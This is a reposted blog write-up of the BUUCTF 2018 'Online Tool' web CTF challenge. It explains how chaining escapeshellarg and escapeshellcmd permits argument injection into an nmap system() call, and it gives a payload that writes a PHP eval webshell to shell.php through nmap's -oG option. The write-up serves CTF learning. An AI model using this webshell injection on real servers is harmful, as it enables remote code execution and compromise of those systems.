当前位置:网站首页>BUUCTF WEB [BUUCTF 2018]Online Tool
BUUCTF WEB [BUUCTF 2018]Online Tool
2022-04-23 12:33:00 【Y1Daa】
BUUCTF WEB [BUUCTF 2018]Online Tool
-
Enter the environment , Get a piece of code
<?php if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; $host = escapeshellarg($host); $host = escapeshellcmd($host); $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you are in sandbox '.$sandbox; @mkdir($sandbox); chdir($sandbox); echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);among ,
escapeshellarg()The function is used to transcode a string to shell The parameters used in the command , That is to escape special symbols such as single quotation marks , And wrap the escaped single quotation marks with two other single quotation marks<?php echo escapeshellarg("123"); // '123' echo escapeshellarg("12' 3");// '12'\'' 3' ?>escapeshellcmd()Function for shell Metacharacter escape , It's in special characters and No paired single quotes Insert before\<?php echo escapeshellcmd("123"); // 123 echo escapeshellcmd("12' 3");// 12\' 3 echo escapeshellcmd("12'' 3");// 12'' 3 ?>Here you can refer to this article Talk about escapeshellarg The problem of parameter bypass and injection (lmxspace.com) Know how to solve this problem
-
Because of the existence of two filters , We can only execute one order . stay nmap There are several parameters in the
OUTPUT: -oN/-oX/-oS/-oG <file>: Output scan in normal, XML, s|<rIpt kIddi3, and Grepable format, respectively, to the given filename.You can write commands and results to files
-
Here we can use
escapeshellargAndescapeshellcmdUsed together to construct a command execution vulnerability?host=' <?php @eval($_POST["cmd"]);?> -oG shell.php 'Echo as
you are in sandbox ae49321bc77b6271cb2db4ba23d835f1Starting Nmap 7.70 ( https://nmap.org ) at 2022-04-22 05:26 UTC Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds Nmap done: 0 IP addresses (0 hosts up) scanned in 1.15 seconds -
Connect with an ant sword , Find... In the root directory of the file flag file
flag{24d949bf-db37-41b9-9e74-9f9e202d0af7}
版权声明
本文为[Y1Daa]所创,转载请带上原文链接,感谢
https://yzsam.com/2022/04/202204231227159591.html
边栏推荐
- Idea code quality specification plug-in sonarlint
- STM32控制步进电机(ULN2003+28byj)
- php生成json处理中文
- Why is the premise of hash% length = = hash & (length-1) that length is the nth power of 2
- Lesson 25 static member variables of classes
- box-sizing
- How to expand the capacity of the server in the 100 million level traffic architecture? Well written!
- [unity note] basic lighting in l4unity
- Zero trust in network information security
- IDEA 代码格式化插件Save Actions
猜你喜欢

Nativeformysql connects to MySQL 8 prompt: 1251 - client does not support authentication protocol

网站首页文件被攻击篡改的形式有哪些

免费试用一个月的服务器,并附上教程

软件测试基础DAY2-用例执行

Fastjson 2 is coming, the performance continues to improve, and it can fight for another ten years

IDEA 代码质量规范插件SonarLint
![[unity note] basic lighting in l4unity](/img/38/d88245af2062ed67fb8e61327f3bb9.png)
[unity note] basic lighting in l4unity

Qt绘制图像

【每日一题】棋盘问题

没有空闲服务器?导入 OVF 镜像快速体验 SmartX 超融合社区版
随机推荐
画结果图推荐网址
Symmetric encryption, certificate encryption
Introduction to metalama 4 Use fabric to manipulate items or namespaces
大家帮我看一下这是啥情况,MySQL5.5的。谢了
Idea code quality specification plug-in sonarlint
After a circle, I sorted out this set of interview questions..
How much does software testing help reduce program bugs?
洛谷P5540 [BalkanOI2011] timeismoney | 最小乘积生成树 题解
亿级流量架构,服务器如何扩容?写得太好了!
SQLserver怎么插入或更新当天的星期数,bit而不是文本
Uni app native app local packaging integrated Aurora push (jg-jpush) detailed tutorial
On lambda powertools typescript
如何防止网站被黑客入侵篡改
Lesson 23 temporary objects
一个平面设计师的异想世界|ONES 人物
QT redraw events and cuts
Qt绘制文字
Fabric 1.0 source code analysis (33) implementation of peer channel command and subcommand
IDEA 代码格式化插件Save Actions
C set Logo Icon and shortcut icon